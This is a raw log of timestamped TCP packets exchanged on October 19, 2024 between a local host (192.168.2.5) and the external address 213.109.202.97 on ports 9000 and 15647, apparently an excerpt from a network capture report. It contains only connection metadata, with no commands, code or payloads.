Oct 19, 2024 03:37:10.137475967 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.137486935 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.137516022 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.137542009 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.137564898 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.137576103 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.137615919 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.137672901 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.137684107 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.137737036 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.137746096 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.137852907 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.137857914 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.137866974 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.137877941 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.137888908 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.137928963 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.138025999 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.138036013 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.138051987 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.138067961 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.138082027 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.138118029 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.138178110 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.138194084 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.138205051 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.138222933 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.138233900 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.138263941 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.138374090 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.138386011 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.138425112 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.138474941 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.138494015 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.138504982 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.138545036 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.138619900 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.138631105 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.138639927 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.138649940 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.138659954 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.138669014 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.138672113 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.138700962 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.138839006 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.138854980 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.138864994 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.138875008 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.138885975 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.138906002 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.138979912 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.138991117 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.138999939 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.139029980 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.139055014 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.139116049 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.139126062 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.139147997 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.139173985 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.139173985 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.139189959 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.139219999 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.139442921 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.139453888 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.139465094 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.139473915 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.139483929 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.139496088 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.139523029 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.139633894 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.139645100 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.139655113 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.139664888 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.139676094 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.139679909 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.139688015 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.139694929 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.139703989 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.139736891 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.139880896 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.139904976 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.139931917 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.140034914 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.140047073 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.140057087 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.140067101 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.140077114 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.140081882 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.140089035 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.140099049 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.140109062 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.140110970 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.140135050 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.140156031 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.147294998 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.163523912 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.168577909 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.179744005 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.179754019 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.179764986 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.179800034 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.179826021 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.179871082 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.211602926 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.225455999 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.227579117 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.227737904 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.227746964 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.227756023 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.227797985 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.227824926 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.230690002 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.230700970 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.230710983 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.230720043 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.230756998 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.230777025 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.230844021 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.230854988 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.230891943 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.230990887 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.231002092 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.231010914 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.231019020 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.231029034 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.231048107 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.231064081 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.231069088 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.231081963 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.231089115 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.231092930 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.231132030 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.231251955 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.231262922 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.231272936 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.231282949 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.231297016 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.231328011 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.256719112 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.257868052 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.257879019 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.257889986 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.257934093 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.257963896 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.258024931 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.258035898 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.258044958 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.258081913 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.258167028 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.258177996 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.258187056 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.258213043 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.258235931 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.258332968 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.258342028 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.258351088 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.258361101 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.258392096 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.258414030 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.258470058 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.258481979 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.258522987 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.258656025 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.258666039 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.258676052 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.258686066 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.258702040 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.258716106 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.258800030 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.258810043 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.258820057 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.258855104 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.258971930 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.258982897 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.258995056 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.259013891 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.259036064 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.259129047 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.259140015 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.259150982 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.259154081 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.259164095 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.259195089 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.259289026 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.259300947 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.259315014 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.259330988 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.259350061 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.259464979 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.259474993 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.259485960 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.259495974 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.259515047 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.259531021 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.259599924 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.259747982 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.259757996 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.259767056 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.259778023 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.259783030 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.259807110 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.259931087 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.259941101 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.259952068 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.259962082 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.259967089 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.259989977 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.260057926 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.260096073 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.260268927 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.260278940 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.260289907 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.260299921 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.260318995 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.260330915 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.260420084 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.260432005 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.260476112 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.260587931 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.260598898 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.260608912 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.260618925 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.260628939 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.260638952 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.260649920 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.260727882 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.260740042 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.260750055 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.260767937 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.260778904 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.260880947 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.260893106 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.260936022 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.261034966 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.261045933 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.261055946 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.261066914 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.261075974 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.261080980 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.261095047 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.274270058 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.279459000 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.288454056 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.300044060 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.300055981 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.300095081 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.300211906 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.300261021 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.334820986 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.347786903 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.347799063 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.347809076 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.347858906 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.350795984 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.350805998 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.350815058 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.350830078 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.350840092 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.350850105 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.350856066 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.350938082 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.350948095 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.350969076 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.350980997 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.351120949 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.351133108 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.351141930 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.351171017 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.351191998 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.351272106 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.351283073 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.351294041 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.351321936 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.351452112 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.351464033 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.351473093 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.351502895 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.351522923 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.351598978 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.351608038 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.351618052 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.351628065 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.351648092 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.351670980 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.356031895 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.378459930 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.378469944 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.378480911 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.378487110 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.378496885 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.378508091 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.378516912 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.378528118 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.378539085 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.378638983 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.378638983 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.378815889 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.378865957 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.379000902 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.379012108 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.379021883 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.379031897 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.379053116 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.379077911 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.379137993 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.379153013 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.379163027 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.379196882 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.379282951 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.379292965 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.379298925 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.379307985 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.379369020 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.379441977 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.379451990 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.379462957 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.379491091 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.379504919 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.379587889 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.379599094 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.379607916 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.379617929 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.379646063 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.379657030 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.379746914 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.379756927 CEST	9000	49705	213.109.202.97	192.168.2.5
